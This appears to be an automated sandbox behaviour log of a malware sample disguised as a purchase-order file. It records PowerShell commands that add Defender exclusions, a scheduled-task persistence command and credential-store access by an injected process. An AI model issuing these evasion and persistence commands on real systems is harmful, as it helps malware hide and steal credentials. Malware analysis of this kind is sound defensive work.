Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7876:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7756:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7812:120:WilError_03

Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe

File created: C:\Users\user\AppData\Local\Temp\tmp63ED.tmp

Source: Pre Alert PO TVKJEANSA00967.bat.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: Pre Alert PO TVKJEANSA00967.bat.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe

File read: C:\Users\user\Desktop\desktop.ini

Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: runas.exe, 00000012.00000003.2248830957.00000000005E1000.00000004.00000020.00020000.00000000.sdmp, runas.exe, 00000012.00000002.2941572830.00000000005E1000.00000004.00000020.00020000.00000000.sdmp, runas.exe, 00000012.00000002.2941572830.00000000005BF000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Pre Alert PO TVKJEANSA00967.bat.exe

ReversingLabs: Detection: 55%

Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe

File read: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe

Source: unknown	Process created: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe "C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe"
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\STiokuWkiGFJ" /XML "C:\Users\user\AppData\Local\Temp\tmp63ED.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: unknown	Process created: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\STiokuWkiGFJ" /XML "C:\Users\user\AppData\Local\Temp\tmp9222.tmp"
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
Source: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe	Process created: C:\Windows\SysWOW64\runas.exe "C:\Windows\SysWOW64\runas.exe"
Source: C:\Windows\SysWOW64\runas.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe"	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\STiokuWkiGFJ" /XML "C:\Users\user\AppData\Local\Temp\tmp63ED.tmp"	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /Create /TN "Updates\STiokuWkiGFJ" /XML "C:\Users\user\AppData\Local\Temp\tmp9222.tmp"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"	Jump to behavior
Source: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe	Process created: C:\Windows\SysWOW64\runas.exe "C:\Windows\SysWOW64\runas.exe"
Source: C:\Windows\SysWOW64\runas.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"

Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Section loaded: iconcodecservice.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\STiokuWkiGFJ.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: fastprox.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: ncobjapi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mpclient.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: wmitomi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\wbem\WmiPrvSE.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: taskschd.dll	Jump to behavior
Source: C:\Windows\SysWOW64\schtasks.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\runas.exe	Section loaded: credui.dll
Source: C:\Windows\SysWOW64\runas.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\runas.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\runas.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\runas.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\runas.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\runas.exe	Section loaded: ieframe.dll
Source: C:\Windows\SysWOW64\runas.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\runas.exe	Section loaded: netapi32.dll
Source: C:\Windows\SysWOW64\runas.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\runas.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\runas.exe	Section loaded: winhttp.dll
Source: C:\Windows\SysWOW64\runas.exe	Section loaded: wkscli.dll
Source: C:\Windows\SysWOW64\runas.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\runas.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\runas.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\runas.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\runas.exe	Section loaded: mlang.dll
Source: C:\Windows\SysWOW64\runas.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\runas.exe	Section loaded: winsqlite3.dll
Source: C:\Windows\SysWOW64\runas.exe	Section loaded: vaultcli.dll
Source: C:\Windows\SysWOW64\runas.exe	Section loaded: wintypes.dll
Source: C:\Windows\SysWOW64\runas.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\runas.exe	Section loaded: cryptbase.dll
Source: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe	Section loaded: wininet.dll
Source: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe	Section loaded: mswsock.dll
Source: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe	Section loaded: dnsapi.dll
Source: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe	Section loaded: iphlpapi.dll
Source: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe	Section loaded: fwpuclnt.dll
Source: C:\Program Files (x86)\skDfaPcTfXAvFAZvvHpKDPPssrYjGChYpVtEQtnJpecV\nhClcdOjQwJ.exe	Section loaded: rasadhlp.dll

Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\Pre Alert PO TVKJEANSA00967.bat.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

.NET source code contains method to dynamically call methods (often used by packers)

